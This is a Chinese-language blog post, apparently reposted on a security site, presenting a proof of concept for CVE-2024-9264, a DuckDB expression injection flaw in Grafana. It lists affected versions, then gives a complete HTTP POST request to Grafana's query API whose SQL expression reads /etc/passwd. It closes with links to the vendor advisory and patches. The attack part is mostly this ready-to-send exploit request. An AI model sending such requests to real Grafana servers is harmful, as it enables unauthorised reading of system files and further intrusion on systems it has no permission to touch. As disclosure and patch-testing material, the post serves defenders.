Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

admin 2024年11月6日00:02:42评论66 views字数 1065阅读3分33秒阅读模式
0x01漏洞介绍
Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。

Grafana存在安全漏洞,该漏洞源于SQL表达式实验性功能在处理用户输入的duckdb查询时,未能充分清理,导致命令注入和本地文件包含漏洞。

0x02影响版本
1、 Grafana < 11.0.5+security-01 
2、 Grafana < 11.1.6+security-01 
3、 Grafana < 11.2.1+security-01 
4、 Grafana < 11.0.6+security-01 
5、 Grafana < 11.1.7+security-01 
6、 Grafana < 11.2.2+security-01

Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

0x03漏洞复现

1.访问漏洞环境

Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

2.对漏洞进行复现

POC 

漏洞复现

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1Host: 127.0.0.1:3000Content-Type: application/jsonCookie: grafana_session=a739fa9aeb235f2790f17de00fefe528Content-Length: 368{  "from": "1696154400000",  "to": "1696345200000",  "queries": [    {      "datasource": {        "name": "Expression",        "type": "__expr__",        "uid": "__expr__"      },      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",      "hide": false,      "refId": "B",      "type": "sql",      "window": ""    }  ]}

Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

测试,通过响应判断漏洞存在。

Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC

Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoC
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://zekosec.com/blog/file-read-grafana-cve-2024-9264/https://github.com/grafana/grafanahttps://grafana.com/security/security-advisories/cve-2024-9264/

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日00:02:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Grafana DuckDB表达式注入漏洞(CVE-2024-9264) PoChttps://cn-sec.com/archives/3360603.html

发表评论

匿名网友 填写信息